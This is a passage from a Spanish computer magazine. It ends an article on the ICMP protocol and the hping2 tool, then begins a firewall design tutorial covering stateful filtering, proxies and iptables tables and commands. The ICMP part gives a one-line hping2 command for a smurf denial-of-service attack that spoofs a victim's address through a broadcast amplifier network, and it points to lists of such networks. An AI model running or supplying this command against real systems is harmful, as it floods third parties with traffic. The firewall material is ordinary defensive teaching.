            el número de protocolo de transporte          --tos : permite definir el tipo de servicio
            que había especificado en el datagrama        que, como hemos visto, está relacionado
            original, el cual, al tratarse de TCP, será   con algunos mensajes ICMP.
            6.
                                                          --ttl : permite marcar un tiempo de vida
            Por supuesto, os muestro este ejemplo
                                                          para el paquete IP. Como ya sabemos,
            sólo para mostrar el funcionamiento de
                                                          esto nos permite, entre otras cosas, hacer
            Nemesis ICMP, y no garantizo que vaya
                                                          un traceroute.
            a funcionar.
                                                          --tr-keep-ttl : esta opción, combinada
            3.2. Hping2                                   con la anterior, permite investigar un
                                                          router en concreto del camino. Esta opción
            Vamos a ver algunas de las opciones que       fija el valor de ttl, por lo que podríamos
            nos da hping2 para ICMP.                      enviar varios paquetes, por ejemplo, al
            En primer lugar, veamos las opciones          cuarto router del camino haciendo: --ttl
            generales:                                    4 --tr-keep-ttl.

            --verbose : el clásico modo verbose           Por último, algunas de las opciones
            para ver información en pantalla.             específicas para ICMP. Por supuesto,
                                                          tenéis todo mucho mejor explicado en
            --count : permite especificar el número       man hping2 :
            de paquetes que queremos enviar.
                                                          --icmptype : permite especificar un Type
            --traceroute : este es un modo especial       en la cabecera ICMP.
            que permite hacer un traceroute.
                                                          --icmpcode : permite especificar un Code
                                                          en la cabecera ICMP.
            Con respecto a la parte IP que, por
            supuesto, también es necesaria para           --icmpipproto : podemos especificar
            generar paquetes ICMP, tenemos:               también los valores del campo Internet

Página 36                                                                                       PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          Header + 64 bits of Original Data               claro que no todo el mundo consulta estas
          Datagram. Por ejemplo, este parámetro           páginas para protegerse, y en cambio
          es para especificar el número de                basta con que una sola persona consulte
          protocolo del datagrama que originó el          esta lista con fines perversos para que
          mensaje ICMP.                                   pueda atacar a cualquier otra persona
                                                          que no haya tenido en cuenta la lista. Así
          --icmpcksum : nos permite generar un            que, una vez más, no se sabe si es peor
          checksum inválido. Por defecto, si no           el remedio o la enfermedad.
          ponemos esta opción, hping2 generará
          automáticamente el checksum correcto.           Espero que este artículo os haya resultado
                                                          interesante, y que por lo menos haya
          --file : permite especificar un fichero         despertado en vosotros la curiosidad por
          para el campo de DATOS.                         muchísimas cosas que he esbozado para
                                                          que vosotros ampliéis información de lo
          Vamos a ver un ejemplo sencillísimo,            que más os haya llamado la atención.
          para realizar un ataque smurf a la IP
          217.138.2.2, utilizando como                    Por este artículo han circulado muchos
          amplificadora la red 209.5.x.x :                nombres que pueden ser fácilmente
                                                          consultados en Google, así que os animo
          hping2 209.5.255.255 --icmp --                  a que lo hagáis.
          verbose --spoof 217.138.2.2
                                                          Autor: PyC (LCo)
          ¡Así de simple! Por cierto, que tenéis
          disponibles listas de redes que han sido
          probadas y se sabe que pueden funcionar
          como amplificadores smurf (es decir,
          que responden a paquetes Echo Request
          a la dirección broadcast). Podéis
          encontrar un registro de estas redes por
          ejemplo en:
          http://www.powertech.no/smurf/ .

          Aunque pueda parecer que este tipo de
          listas son mantenidas por lamers que
          dedican su tiempo a ir destruyendo
          máquinas ajenas, en realidad su cometido
          suele ser justo el contrario. Se publican
          estas listas no para ayudar a los
          atacantes, si no para que la gente que
          quiera configurar su firewall pueda filtrar
          directamente todas las redes que sean
          susceptibles de convertirse en fuentes
          de un ataque smurf.

          Pero claro, en realidad al final el resultado
          suele ser el contrario del esperado. Está

PC PASO A PASO Nº 23                                                                                   Página 37
DISEÑO DE CORTAFUEGOS (PARTE II)

                                                Para variar, hola a tod@s

                                                     Sin más preámbulos;


En el número 22 de la revista hice una breve descripción              Ejemplo más claro: una LAN con direcciones de
de las características básicas de un cortafuegos, definiciones,       clase B 172.28.xxx.xxx /16
funciones, ventajas, inconvenientes, tipos de cortafuegos                Nuestro Firewall no debe dejar salir NINGUN
y un vistazo rápido a NAT y sus derivados, esa parte del                 paquete de datos cuya IP no comience por 172.28,
artículo podríamos llamarlo como la Parte I en el diseño                 si eso se produjera, sería síntoma que alguno
de Firewalls.                                                            de los clientes de nuestra red está intentando
                                                                         “falsear” su IP por otra para acceder a vaya Ud.
Ese artículo terminó con técnicas y accesos NO autorizados               a saber donde....
a firewalls y otros dispositivos de filtrado de paquetes. Por
el momento esa última parte no nos interesará en estos              Arquitectura del Firewall
momentos, pero sí que sería conveniente que revises la
parte del artículo que se destinó a Firewalls. Para que no         Es decir, elegir el modelo, plataforma, tipo de cortafuegos
“se me despiste” nadie, voy a empezar poniendo un link             y su ubicación... lo que vimos en el artículo del número
para que si no dispones del número 22, puedas descargar            22.
“parte” de ese artículo, no todo, sólo la base para poder
seguir la terminología de este otro.                               Diseño de directivas y reglas

http://www.forohxc.com/Docs/fw/ipt/introfw.pdf                     Bajo este punto se agrupan las reglas de diseño y
                                                                   operativa del firewall, su funcionamiento y su
Aunque hay muchos factores que intervienen en la                   implementación, los filtros, los registros de actividad
implementación final de un firewall o cortafuegos, voy a           y por supuesto, la documentación de todo ello para
resumir en unos pocos conceptos los puntos más                     facilitar sus posteriores modificaciones y mejoras, como
importantes:                                                       mínimo deberíamos definir y diseñar reglas para:

   Misión del cortafuegos                                               Redes Internas.
                                                                        Redes externas.
   Bajo este punto se agruparán el “modo de
                                                                        Identificar los servicios que ofrece la red a proteger.
   funcionamiento” del cortafuegos y las operaciones básicas
                                                                        Identificar los hosts a los que se les permitirá el
   a realizar, no tienen por qué existir todos los conceptos,
                                                                      acceso a determinados servicios internos o externos.
   pero los más habituales son:
                                                                        Identificar los host que pueden acceder al
                                                                      cortafuegos para su administración.
         Bloquear entrada/salida del tráfico no deseado
                                                                        Documentar todas las reglas y directivas de
       Bloquear entrada/salida del tráfico con IP’s privadas
                                                                      funcionamiento.
       Bloquear el acceso a hosts y servicios determinados
       Traducción de direcciones de red, NAT, PAT, SNAT,
                                                                   Implementación
      DNAT....

                                                                   Es el paso de las directivas y reglas que hicimos en la
   Aunque parece obvio, es más importante de lo que
                                                                   fase de diseño al producto elegido y su configuración...
   parece, te pongo un ejemplo:
                                                                   si hablásemos de un programa para la gestión de un
                                                                   videoclub, sería la codificación del mismo en el lenguaje
      Un cortafuegos debería bloquear los paquetes de
                                                                   de programación; al hablar de un cortafuegos, es
      datos que se salgan de la red interna y cuyas IP’s
                                                                   configurar el programa del firewall ya sea hardware o
      origen NO estén dentro del rango de la red interna,
                                                                   software y también la documentación del mismo,
      ¿no lo entiendes?, pues te lo resumo en una palabra:
                                                                   algoritmos utilizados, scripts, variables, etc..
      IP-spoofing, mmmm, sigo sin entenderlo....

 Página 38                                                                                           PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




   Soy un pesado, lo sé... pero es MUY importante la          Llevamos muchos pasos adelantados... Arquitectura del
   documentación, en todo proyecto es una de las tareas       Firewall y Pruebas de Comportamiento ya las abordamos
   más arduas y penosas, pero fundamental, cuando             en el número anterior, ahora nos tocan los demás, bueno,
   disponemos de una documentación acertada, modificar        sólo nos faltaría la administración.... que a fin de cuentas,
   el comportamiento de un programa, código, cortafuegos      es mantener “vivo” el firewall, vamos, la tarea de todos
   o lo que sea, es mucho más sencillo que si nos             los días después de este artículo... esa la dejo para ti.
   encontramos con una maraña de programas, scripts,
   reglas, etc.. sin saber ni lo que hacen... además, un      MÁS SOBRE TECNOLOGÍAS                                          DE
   cortafuegos es dinámico, lo más probable es que las        CORTAFUEGOS....
   reglas que apliquemos hoy no sirvan mañana, por
   cambios de política de empresa, topología de la red,
                                                              Hemos hablado de NAT, de VPN (poco, pero sabemos que
   nuevas necesidades, seguridad o sencillamente porque
                                                              existen) de host bastión, de firewalls de red... veamos
   nos equivocamos... ya sabes... las leyes de murphy...
                                                              otros conceptos que nos serán útiles en este artículo.
   “todo lo que funciona a la primera está mal echo”

   Pruebas de Comportamiento                                  Flujo de Datos en una red

   De esto nos ocupamos en el artículo anterior, la parte     Esto es muy sencillo, pero hay que comentarlo....
   que correspondía a accesos NO autorizados... y consiste
   en eso... verificar si se comporta como esperábamos,       Ya sabemos que en una comunicación tenemos IP de
   si bloquea lo que debe bloquear, si deja pasar sólo lo     origen e IP destino, por tanto tenemos flujos entrantes
   que debe dejar, si es susceptible a ataques, si registra   y salientes.... pero para un cortafuegos puede haber
   los logs adecuados... vamos... probar y probar....         “otros”, el flujo interno, que es aquel que se origina en
                                                              la red protegida y tiene como destino la red protegida y
   Administración                                             el flujo propio, que es aquel que se origina en el mismo
                                                              cortafuegos, resumiendo:
   Qué vamos a decir, si alguno está pensando en poner
   un firewall en su red o en un único equipo y olvidarse
   de él... apañao va.... los cortafuegos son como una
   casa, hay que mantenerlas, cuidarlas y mimarlas para
   que vivas a gusto dentro de ellas y eso es lo que se
   llama aquí administrar un cortafuegos.
                                                              No me preguntes por qué no figuran combinaciones como
Bueno, dejé al margen otros aspectos en el diseño de          Externa-Externa o propio-propio
cortafuegos, importantes en muchos casos, pero que pueden
quedar “fuera del alcance” de este artículo, estos serían:    Acciones y reglas de un Cortafuegos

     Justificación y necesidad: pérdidas de datos, ciclo de   Un cortafuegos lleva a cabo alguna de estas acciones:
   vida, riesgos...
     Costes y beneficios: económicos, de rendimiento...             Acepta: Permite el paso de un paquete de una red
     Formación interna: de los administradores, de los           a otra.
   empleados...                                                     Desecha: Deniega el paso del paquete y NO informa
     Garantías y productos: Servicio Técnico, soporte,           a l e m i s o r q u e s u p a q u e t e f u e d e s c a r t a d o.
   facilidad de uso....                                             Rechaza: Deniega el paso e INFORMA al emisor que
                                                                 no se aceptó el envío.
Esos y otros que me dejé por el camino, quizás no
correspondan tanto a los técnicos como al Director de         Para determinar estas acciones, el cortafuegos examina
Informática o hasta el Consejo de Administración de la        un conjunto de reglas las cuales llevan asociadas alguna
empresa, a fin de cuentas, la implementación de un            de esas tres acciones, las reglas pueden ser de dos tipos:
cortafuegos conlleva unos costes y deben justificarse.

 PC PASO A PASO Nº 23                                                                                               Página 39
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




    Reglas de entrada que especifican acciones para los         Los cortafuegos con estado presentan alguna ventaja frente
   paquetes que entran en el cortafuegos.                       a los otros:
     Reglas de salida que especifican acciones para los
   paquetes que abandonan el cortafuegos.                            Son más eficientes.
                                                                     Son más seguros.
Entre las tecnologías de firewalls nos encontramos con
varias modalidades:                                             Son más eficientes porque no tienen que comprobar todas
                                                                las reglas por cada paquete que forma parte de la misma
     Firewalls   de filtrado de paquetes.
                                                                comunicación y son más seguros porque previenen del uso
     Firewalls   de Reenvío de paquetes.
                                                                mal intencionado de paquetes mal formados con señales
     Firewalls   de Envío en representación.
                                                                ACK evitando el dejar pasar paquetes fraudulentos.
     Firewalls   y VPN.

                                                                Los estados más comunes de una conexión son:
Filtrado de paquetes

                                                                     Nueva: Sin comentarios, una nueva conexión entrante
Consiste en inspeccionar el tráfico de una red y comprobar
                                                                   o saliente
si cumplen o no las reglas establecidas y obrar en
                                                                     Establecida: Seguimiento de una conexión, es decir,
consecuencia.
                                                                   cuando se responde a una conexión nueva, establecida
                                                                   o relacionada.
Normalmente, hablamos de filtrado de paquetes cuando
                                                                     Relacionada: Es una conexión establecida pero que
un dispositivo (firewall, router, pc...) examina únicamente
                                                                   ha cambiado de puertos o IP’s, el caso más
los encabezados de los protocolos que maneja (IP, TCP,
                                                                   sencillo de entender sería un FTP o un ICMP
UDP...) y no de sus contenidos... un dispositivo de filtrado
                                                                   redirect
de paquetes acepta, rechaza o desecha esos paquetes en
                                                                      Inválida: Normalmente producidos por
función de sus encabezados y no de sus contenidos.
                                                                   errores en la comunicación, comunicaciones
                                                                   “inesperadas” o fuera de secuencia,
Es como si cuando miras en el buzón de tu casa “filtras”
                                                                   checksum inválidos, etc... lo normal es que
el correo en función de las señas de quien te envía las
                                                                   el cortafuegos deseche las conexiones
cartas... unas las tiras a la papelera del portal (desechar),
                                                                   inválidas.
otras las colocas en el buzón de “el cartero” (rechazas) y
otras te las subes a casa (aceptas), pero ese “filtrado” lo
                                                                Reenvío de Paquetes
haces únicamente mirando el sobre... no “abriste” la carta
para leer lo que dice...
                                                                El reenvío de paquetes no es otra cosa más
                                                                que el enrutamiento, el unir dos o más redes
Los cortafuegos que funcionan como filtros de paquetes,
                                                                en un único host y frecuentemente el reenvío
pueden operar de dos formas:
                                                                de paquetes o enrutamiento de paquetes lleva
                                                                unido el filtrado de los mismos, por lo que
     Filtrado con estado (Stateful).
                                                                suelen ser tecnologías que conviven “a la vez”
     Filtrado sin estado (Statefulness).

                                                                La forma más sencilla es una máquina con dos
Ambos modos operan examinando “las cabeceras” de los
                                                                tarjetas de red, lo que algunos llaman host de
paquetes, sólo que los cortafuegos con estado, además,
                                                                radicación doble, cuando se superan esas dos
guardan una especie de base de datos (lo que se llama la
                                                                tarjetas de red se suelen llamar host
tabla de estado) en la cual “anotan” si una comunicación
                                                                multirradicados.
entrante o saliente es parte de una comunicación anterior,
es decir, un filtrado de paquetes con estado, hace un
                                                                Seguro que el router que te conecta a Internet
seguimiento de toda la sesión, mientras que un filtrado de
                                                                es un host con al menos dos tarjetas de red
paquetes sin estado, cada comunicación es individual y
                                                                (una LAN ethernet y otra WAN para ADSL,
aplica las reglas individualmente haya sido establecida
                                                                RDSI...) y seguro que en ese mismo router
anteriormente o no.

 Página 40                                                                                        PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




puedes aplicar filtros a las conexiones que                                La diferencia principal entre un envío en representación
pasan por él, en el mundo de los routers se                                y un reenvío de paquetes, eso es, entre un proxy y un
s u e l e n l l a m a r A C L’ s o l i s t a s d e a c c e s o , p a r a   router, es que el router coloca un paquete de datos en
n o s o t r o s , l a s A C L’ s y l o s f i l t r o s s e r á n u n a     la red destino sin alterar la IP origen, mientras que un
misma cosa.                                                                proxy hará lo mismo pero sustituirá la IP real de origen
                                                                           por la IP del proxy.
Si te estás preguntando si puedes “convertir”
tu PC en un router, la respuesta es SI, ya lo                              Esto no quiere decir que un router no pueda a su vez
veremos...                                                                 realizar labores de proxy, claro que sí... estamos hablando
                                                                           de los casos “generales”.
Cuando un host sólo tiene una tarjeta de Red,
lo normal es que no efectúe reenvío de                                     Resumiendo, un router reenvía un paquete, pasa el paquete
paquetes.                                                                  del cliente al servidor, un proxy genera y envía un nuevo
                                                                           paquete en representación del cliente.
Lo que nos interesa en esto del reenvío de
paquetes es:
                                                                           A su vez, tenemos dos tipos básicos de proxys
      L a i n t e r f a z o t a r j e t a d e r e d p o r l a q u e nos
                                                                                De circuitos: Operan en el modo de filtrado de
   llegó el paquete.
                                                                              paquetes.
      La dirección IP de origen.
                                                                                De aplicación: Inspeccionan el contenido de los
      La dirección IP destino.
                                                                              paquetes además de sus cabeceras

El router construye una tabla, la llamada tabla de
                                                                           No hace falta ser muy espabiladillo para darse cuenta que
enrutamiento, y anota las comunicaciones, redes, etc en
                                                                           un proxy lleva una mayor carga de trabajo que un router
ella, incluso routers más avanzados pueden tener en cuanta
                                                                           y un mayor consumo de recursos de CPU, memoria, etc...
otros factores como es la congestión de las líneas, la calidad
                                                                           y además un proxy de aplicación tiene un desempeño
del servicio, la velocidad, el ancho de banda, etc... no es
                                                                           mayor que un proxy de circuitos.
el momento de aprender cómo funcionan los protocolos
de enrutamiento, nos conformaremos con aprender qué
                                                                           Lo que todos conocemos como proxys “a secas” son los
nos ofrecen los reenviadores de paquetes en cuanto a la
                                                                           llamados aquí proxys de aplicación, suelen ser máquinas
seguridad e implementación de un firewall, estas son:
                                                                           muy potentes por el gran gasto en recursos, ofrecen
                                                                           seguridad muy alta, permiten esconder la identidad de
    Paquetes que provienen de orígenes conocidos como
                                                                           sus clientes y como ya hemos dicho antes, además de
   hostiles o non-gratos
                                                                           filtrar por puertos o IP’s, son capaces de inspeccionar el
    Paquetes maliciosos o mal formados
                                                                           contenido de los paquetes y rechazar o aceptarlos por
    Direcciones IP privadas
                                                                           otros criterios, ejemplos a montones, proxys que impiden
      Direcciones IP restringidas o no válidas
                                                                           el acceso a páginas con contenidos eróticos, violentos,
                                                                           etc... o lo que al administrador del proxy se le ponga en
Envío en representación
                                                                           vena... puede restringir hasta el acceso a google si le
                                                                           parece....
La idea de un firewall configurado como envío en
representación es la de actuar como proxy o representante
                                                                           Recuerda dar un vistazo al artículo 22, al menos a la parte
en la comunicación entre un host de la red interna y otro
                                                                           de NAT, seguro que te aclara algunos conceptos...
de la red externa, el host interno delega en el proxy sus
                                                                           La otra tecnología de Firewalls sería su relación con las
comunicaciones y es el proxy quien las efectúa
                                                                           Redes Privadas Virtuales (VPN), hoy en día es difícil
representando al host de la red interna frente al servidor
                                                                           saber dónde empieza y dónde termina una red privada
de la red externa.
                                                                           con esta tecnología, no toca... ahora no... pero
                                                                           próximamente hablaremos de ellas y nos construiremos
Todas las comunicaciones pasan por el proxy, las direcciones
                                                                           una VPN
internas se traducen en una única dirección, la del proxy.

  PC PASO A PASO Nº 23                                                                                                    Página 41
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Bufff, ya está bien... ya vale de conceptos “generalistas”      1.- Establecer las opciones de configuración de núcleo
Ahora, hablemos de IPTables y ampliaremos los conceptos
de cortafuegos y lo implementaremos                             Si tenemos IPTables instalado correctamente, no debería
                                                                ser necesario tocar nada de aquí, pero por si acaso...
IPTABLES
                                                                Para una máquina con una sola tarjeta de red (como
IPTables es un sofisticado cortafuegos que viene incluido       será nuestro caso por ahora) las opciones importantes
en la práctica totalidad de distribuciones LiNUX, es un         son:
cortafuegos de filtrado de paquetes con estado y con
                                                                     net.ipv4.conf.default.rp_filter: que controla el
potentes capacidades de inspección, registro de actividades
                                                                   bloqueo de paquetes con errores en la dirección origen
y reglas.

                                                                    net.ipv4.conf.eth0.accept_source_routing: que
Es una de estas cosas que se te aparecen por la vida y
                                                                   controla el bloqueo de paquetes dirigidos desde el
que cuando “captas” su lógica de funcionamiento es muy
                                                                   origen
sencillo, mientras que cuando te limitas a entreverlo, se
hace muy cuesta arriba, también dependerá de la fuente          Estas opciones las puedes cambiar modificando el archivo
donde acudas a documentarte... espero no defraudar.             /etc/sysctl.conf

Para los que ya lo conozcáis, este artículo no revestirá un     Este archivo junto al /etc/rc.local se ejecutan sólo
gran avance, igual ocurrirá con aquellos otros que si conocer   cuando el sistema se reinicia, sin embargo si queremos
nada de IPTables, si tengáis experiencia en el filtrado de      aplicar los cambios sin reiniciar podemos usar:
paquetes de routers (ACL’S), la filosofía es muy parecida.
                                                                 sysctl –w net.ipv4.conf.default.rp_filter = 1
En éste artículo me voy a limitar a:                             sysctl –w net.ipv4.conf.eth0.accept_source_routing = 0
                                                                 sysctl –p

     Describir el conjunto de tablas, cadenas, protocolos
   y reglas.                                                    2.- Configurar el Servicio IPTables para ejecutarse
     Implementar varios tipos de cortafuegos básicos.
     Configurar un registro estándar de logs y sucesos.         Este comando NO inicia IPTables, sino que él mismo se
                                                                iniciará la próxima vez que entremos en alguno de los
Para el próximo, abordaremos técnicas de:                       niveles de ejecución 2 al 5

     Reenvío de paquetes y routing.                                chkconfig iptables on
     NAT y masquerade (SNAT, DNAT....).
      Implementación avanzada de cortafuegos.                   Para deshabilitar la ejecución automática del servicio
     Administración, auditorías y visores avanzados de          IPTables:
   registros.
                                                                   chkconfig iptables off
Ya sabéis.... los problemas de espacio en la revista....
                                                                Es importante advertir que este comando no detiene el
Pero no os preocupéis, si hacéis bien los deberes               servicio IPTables, simplemente lo deshabilita para la
dispondremos de un auténtico firewall de red con elevadas       próxima vez que iniciemos sesión... para detener, iniciar,
prestaciones y bastante seguro.                                 reiniciar, etc.. pasa al siguiente punto

Comprobar la Configuración y Servicio de IPTables               3.- Iniciar y Detener el servicio IPTables


Para poder ejecutar y operar con IPTables puede ser             Iniciar el servicio:            service iptables start
necesario tres cosas (recuerda que uso una distribución         Detenerlo:                      service iptables stop
LiNUX RedHat.... esto puede variar en otras distros, pero       Reiniciarlo:                    service iptables restart
eso no es el objeto de este artículo)                           Guardar configuración:          service iptables save

 Página 42                                                                                        PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




                                                                            PREROUTING: Que se encarga de las operaciones
    !              En el próximo...                                       de NAT destino
                                                                           POSTROUTING: Que se encarga de las operaciones
    En el próximo artículo veremos otras opciones de núcleo               de NAT origen y enmascaramiento.
    y opciones del fichero sysctl.conf para host con más de
    una tarjeta de red                                                 TABLA mangle

                                                                       Permite modificar los campos TTL (tiempo de vida) y
                                                                       ToS (Tipo de servicio) de un paquete IP
Las Tablas de IPTables
                                                                       Además, marca los paquetes que atraviesan la tabla mangle
IPTables... Tablas IP... seguro que por ahí le viene el                para que sean reconocidos en reglas posteriores, los
nombre                                                                 módulos del kernel de LiNUX u otros cortafuegos.

                                                                       La tabla mangle solo contiene las cadenas PREROUTING
El cortafuegos IPTables dispone de seis cadenas principales
                                                                       u OUTPUT
que se agrupan en tres tablas principales:
                                                                       Quizás sea la tabla que más nos cueste interpretar ahora,
TABLA filter
                                                                       de momento quédate con dos conceptos, la tabla mangle
Su misión es comprobar el contenido de los paquetes y los              es útil cuando deseamos equilibrar la carga de trabajo en
acepta, rechaza o desecha según las reglas establecidas.               redes con más de un cortafuegos o
(ACCEPT, REJECT o DROP)                                                para proporcionar un respaldo en
                                                                       caso de fallos.
Consiste en tres cadenas o subtablas:
                                                                       En resumen, IPTables dispone de
     FORWARD: Comprueba paquetes que se reenvían                       tres TABLAS principales (mangle,
   de una interfaz a otra                                              nat y filter) que a su vez pueden
     INPUT: Paquetes que son enviados al cortafuegos                   contener otras tablas, lo que se ha
      OUTPUT: Paquetes que son enviados por el                         llamado cadenas o subtablas,
   cortafuegos.                                                        INPUT, OUTPUT, FORWARD,
                                                                       PREROUTING Y POSTROUTING
                                                                       dependiendo de la tabla principal que
    !              Aclaración IMPORTANTE                               se use.

    Puedes pensar que un paquete que se reenvía de una interfaz a      Para entender esto mejor, porque si
    otra atraviesa la tabla INPUT, OUTPUT y FORDWARD, y parece         no entendemos esto BIEN, nada de
    lógico, puesto que a fin de cuentas un paquete reenviado primero   lo que venga a continuación será
    ha de entrar al cortafuegos (INPUT) y tras reenviarlo              comprensible, vamos a poner un
    (FORWARD), sale del cortafuegos (OUTPUT) , pues NO!!!! ,           ejemplo para que veas como funciona
    los paquetes en reenvío SOLO ATRAVIESAN la tabla FORWARD,          IPTables cuando procesa un
    por tanto SOLO LAS REGLAS aplicadas en FORWARD se                  paquete de datos
    verificarán. Recuerda esto, es una de las claves para aplicar
    BIEN las reglas de reenvío cuando lleguen.                         Flujo de datos sin reenvío

                                                                          1. Desde la red se realiza una
TABLA nat                                                                 petición web por el puerto 80.
Ya hemos dicho varias veces que NAT es una traducción                     2. E l p a q u e t e l l e g a a l
de direcciones de red que incluyen NAT destino, NAT origen                cortafuegos.
y enmascaramiento, la tabla NAT utiliza dos cadenas para                  3. Entra en la tabla mangle
las reglas:                                                               PREROUTING y se procesa.


 PC PASO A PASO Nº 23                                                                                               Página 43
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




   4. Pasa a la tabla nat PREROUTING.                            Vale, acabo de conseguir que no te enteres de nada...
   5. Se aplica la tabla filter INPUT y se decide si el          bueno, por eso decía que empezaremos por implementar
   paquete es aceptado o bloqueado.                              cortafuegos sin reenvío de paquetes y “básico”, las
   6. Si no se bloqueó el paquete atraviesa el cortafuegos.      complicaciones para el próximo, por ahora quédate con
   7. Se aplica la tabla mangle OUTPUT.                          esto:
   8. Se pasa a la tabla filter OUTPUT.
                                                                Los paquetes enviados al cortafuegos atraviesan las tablas:
   9. Se pasa ala tabla nat POSTROUTING.
   10. El paquete abandona el cortafuegos.                          mangle PREROUTING
   11. Llega al otro extremo de la red.                             nat PREROUTING
                                                                    filter INPUT
Aclaraciones:
                                                                Los paquetes que envía el propio cortafuegos atraviesan las tablas:
La tabla mangle PREROUTING no suele tener reglas por
lo que todos los paquetes que llegan al cortafuegos la              mangle OUTPUT
atraviesan sin más                                                  filter OUTPUT
                                                                    nat POSTROUTING
La tabla nat PREROUTING efectúa la traducción de
direcciones y tampoco suelen establecerse reglas de filtrado,    Visto esto y antes de pasar a construir nuestro “primer”
la atraviesan TODOS los paquetes que llegan al cortafuegos.      cortafuegos, necesitamos aprender algunas cuestiones
                                                                 básicas acerca de IPTables, son:
La tabla filter INPUT procesa los paquetes destinados al
propio cortafuegos y suele tener reglas de validación                  Comandos.
                                                                       Reglas.
El proceso local representa los procesos que realiza el                Operaciones básicas.
cortafuegos para evaluar los paquetes que entran o salen               Acciones a ejecutar (dianas).
                                                                       Edición de cadenas y modificación de reglas.
La tabla mangle OUTPUT es parecida a mangle
PREROUTING, pero SOLO los paquetes generados por el              Comandos
cortafuegos la atraviesan
                                                                 Quizás es lo más sencillo.... simplemente: iptables
La tabla filter OUTPUT, filtra los paquetes que salen del
cortafuegos a su destino y también suele disponer de reglas      La sintaxis genérica del comando es:

La tabla nat POSTROUTING la atraviesan TODOS los                 iptables operaciones              características acción
paquetes, ya sean originados en el cortafuegos o en
cualquier otro host de la red conectada                          Las operaciones que puede realizar con las reglas
                                                                 son:
Este es un ejemplo SIN REENVÍO, es decir, no hay ruteo
entre redes, es como si se tratase de un host con una única            Añadir una regla.
tarjeta de red por la que entran y salen los paquetes de               Insertar una regla.
datos, si hubiese reenvío, nos faltaría la tabla filter                Eliminar una regla.
FORWARD que se debería aplicar ANTES de filter INPUT,                  Reemplazar un regla.
contendría reglas para determinar si el paquete ha de ser
aceptado o bloqueado y se enviarían DIRECTAMENTE a la            Las operaciones que puede realizar con cadenas son:
tabla nat POSTROUTING.
                                                                      Listar las reglas asociadas a una cadena.
Y por si nos faltaba algo para “liarla” más, he de decir, que        Vaciar una cadena, lo que implica la eliminación de
también se pueden insertar cadenas definidas por el usuario,        TODAS las reglas que tuviese.
personalizadas....                                                   Poner a cero los contadores asociados a una cadena.


 Página 44                                                                                              PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




     Crear cadenas definidas por el usuario.                      Ahora en “cristiano”, rechaza todos los paquetes de datos
     Eliminar cadenas definidas por el usuario.                   que entren a la interfaz sea cual sea el protocolo que
     Establecer directivas predeterminadas a una cadena.          usen...., y en “cristiano-ye-ye” NO ME COMUNICO CON
     Cambiar el nombre de una cadena.                             NADIE.
     Comprobar las reglas.
                                                                  Esto... espera.... pero si es INPUT, esto sólo afectará a
Las características pueden ser:                                   los paquetes entrantes... entonces... las comunicaciones
                                                                  que ese host establezca sí que las dejará pasar, ¿no?
     Protocolo.
        TCP: puerto origen, puerto destino, flags (SYN,           Pues sí... dos no se comunican si uno no quiere...
      ACK, RST...), opciones TCP                                  salir, saldrán... pero las respuestas obtenidas NO entrarán...
        UDP: Puerto origen o puerto destino
        ICMP: Tipo y código                                       Y ahora “el lío”.... INPUT es entrada, vale... pero “visto
        IP o All: Todos los protocolos                            desde donde”, porque si pensamos como la tarjeta de
     IP origen                                                    red INPUT es la entrada de paquetes de datos que provienen
        IP destino                                                de otras máquinas, pero si pensamos como el cortafuegos,
        Interfaz de entrada                                       INPUT son los paquetes que salen de la tarjeta de red y
        Interfaz de salida                                        entran al cortafuegos, es decir, los que salen de la tarjeta
        Fragmentación                                             y acceden al cortafuegos... por tanto los paquetes entran
                                                                  pero no salen, en lugar de salir pero no entrar....
Las acciones pueden ser:
                                                                  ¿Con cual nos quedamos?
     ACCEPT, el paquete pasará y será examinado por la
   siguiente regla                                                Y para terminar... ip son TODOS los protocolos IP, pero
     DROP, el paquete se desecha y no pasará a la siguiente       no ARP, por ejemplo... ¿bloquearía esa regla el tráfico
   regla, no informa al emisor                                    local ARP?
      REJECT, el paquete de rechaza no pasando a la
   siguiente regla e informando al emisor                         Seguimos con los problemas... –A añade... ¿pero en
     LOG, el paquete se registra en un servidor Syslog y          donde?, ¿al final? ¿al principio? ¿dónde le viene en gana?
   puede pasar a la siguiente regla.                              Y si hay otras reglas que dicen lo contrario.... ¿se valida?
                                                                  ¿se ignora?
Bueno, de las acciones ya hablaremos más profusamente,
hay más como RETURN, otras específicas de NAT como                Como ves son preguntas “absurdas” que todos nos hacemos
DNAT, MASQUERADE, REDIRECT...y otras un tanto especiales          cuando NO entendemos BIEN cómo funciona IPTables
como ULOG, MARK, MIRROR...                                        y que nos enredan cuando no c o n o c e m o s l a f i l o s o f í a
                                                                  de trabajo, ni que decir tiene cuando estamos
Tiempo al tiempo, por ahora nos quedaremos con las                a n t e f i l t r o s d e r e e n v í o o t r a d u c c i o n e s N A T,
sencillitas.                                                      c r é e m e , h e visto auténticos galimatías en las reglas
                                                                  por el mero hecho de no tener claro lo que significa INPUT
Bueno, pues si aplicamos lo aprendido, veamos esta orden:         y OUTPUT en un dispositivo de filtrado.... por equivocar
                                                                  los términos... por pensar eso de: “quiero prohibir que
iptables –A INPUT –p ip –j DROP                                   mis clientes de red accedan al servidor web, entonces
                                                                  como los paquetes salen de mi red aplico reglas de salida...”,
Analicemos:                                                       demonios, los paquetes que salen de tu red ENTRAN
                                                                  en el cortafuegos.
   Iptables es el comando, obvio….
   -A INPUT añade la regla a la cadena INPUT
                                                                  Ya, ya lo entiendo... pero.... Y los paquetes que salen del
   -p ip indica que la regla afectará a TODOS los protocolos IP
                                                                  propio cortafuegos que son... de entrada a su tarjeta de
   -j DROP, desecha el paquete de datos sin informar al
